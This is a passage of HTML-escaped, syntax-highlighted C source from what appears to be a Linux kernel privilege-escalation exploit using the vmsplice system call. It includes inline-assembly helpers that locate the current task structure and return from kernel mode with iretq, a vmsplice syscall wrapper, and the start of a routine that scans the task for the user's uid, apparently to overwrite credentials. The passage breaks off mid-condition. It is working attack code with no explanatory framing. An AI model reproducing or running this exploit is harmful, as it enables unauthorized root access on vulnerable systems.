&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; : : &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;i&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;USER_SS&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;r&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;STACK&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;exit_stack&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;i&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;USER_FL&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;,&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;i&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;USER_CS&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;r&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;exit_code&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; static_inline&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E; *&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; get_current&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;unsigned&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E; curr;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; __asm__ __volatile__ &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movl %%esp, %%eax ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;andl %1, %%eax ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movl (%%eax), %0&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; : &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;=r&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;curr&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; : &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;i&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;~&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;8191&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;return&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E; *&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; curr;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#elif defined (__x86_64__)&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#ifndef __NR_vmsplice&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define __NR_vmsplice&#x26;nbsp;278&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#endif&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define USER_CS&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp;&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; 0x23&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define USER_SS&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp;&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; 0x2b&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define USER_FL&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp;&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; 0x246&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; static_inline&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E;&#x26;nbsp; exit_kernel&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; __asm__ __volatile__ &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;swapgs ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movq %0, 0x20(%%rsp) ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movq %1, 0x18(%%rsp) ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movq %2, 0x10(%%rsp) ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movq %3, 0x08(%%rsp) ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movq %4, 0x00(%%rsp) ;&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;iretq&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; : : &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;i&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;USER_SS&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;r&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;STACK&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;exit_stack&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;i&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;USER_FL&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;,&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;i&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;USER_CS&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;, &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;r&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;exit_code&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; static_inline&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E; *&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; get_current&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;unsigned&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E; curr;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; __asm__ __volatile__ &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;movq %%gs:(0), %0&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; : &#x3C;span style=&#x22;color: #ff0000;&#x22;&#x3E;&#x26;quot;=r&#x26;quot;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;curr&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;return&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E; *&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; curr;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#125;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#else&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#error &#x26;quot;unsupported arch&#x26;quot;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#endif&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#if defined (_syscall4)&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define __NR__vmsplice&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; __NR_vmsplice&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; _syscall4&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E;, _vmsplice,&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E;, fd,&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;struct&#x3C;/span&#x3E; iovec *, iov,&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;unsigned&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;long&#x3C;/span&#x3E;, nr_segs,&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;unsigned&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E;, flags&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#else&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#define _vmsplice(fd,io,nr,fl)&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; syscall(__NR_vmsplice, (fd), (io), (nr), (fl))&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #339933;&#x22;&#x3E;#endif&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;static&#x3C;/span&#x3E; uint uid, gid;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;void&#x3C;/span&#x3E;&#x26;nbsp; kernel_code&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #993333;&#x22;&#x3E;int&#x3C;/span&#x3E;&#x26;nbsp; &#x26;nbsp; &#x26;nbsp;i;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; uint&#x26;nbsp; &#x26;nbsp; *p = get_current&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E;;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;for&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;i = &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;; i &#x26;lt; &#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1024&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;-13&#x3C;/span&#x3E;; i++&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#41;&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#123;&#x3C;/span&#x3E;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
&#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x26;nbsp; &#x3C;span style=&#x22;color: #b1b100;&#x22;&#x3E;if&#x3C;/span&#x3E; &#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#40;&#x3C;/span&#x3E;p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;0&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; == uid &#x26;amp;&#x26;amp; p&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#91;&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #cc66cc;&#x22;&#x3E;1&#x3C;/span&#x3E;&#x3C;span style=&#x22;color: #66cc66;&#x22;&#x3E;&#x26;#93;&#x3C;/span&#x3E; == uid &#x26;amp;&#x26;amp;&#x3C;br /&#x3E;
&#x26;nbsp; &#x3C;br /&#x3E;
&#x3C;br /&#x3E;
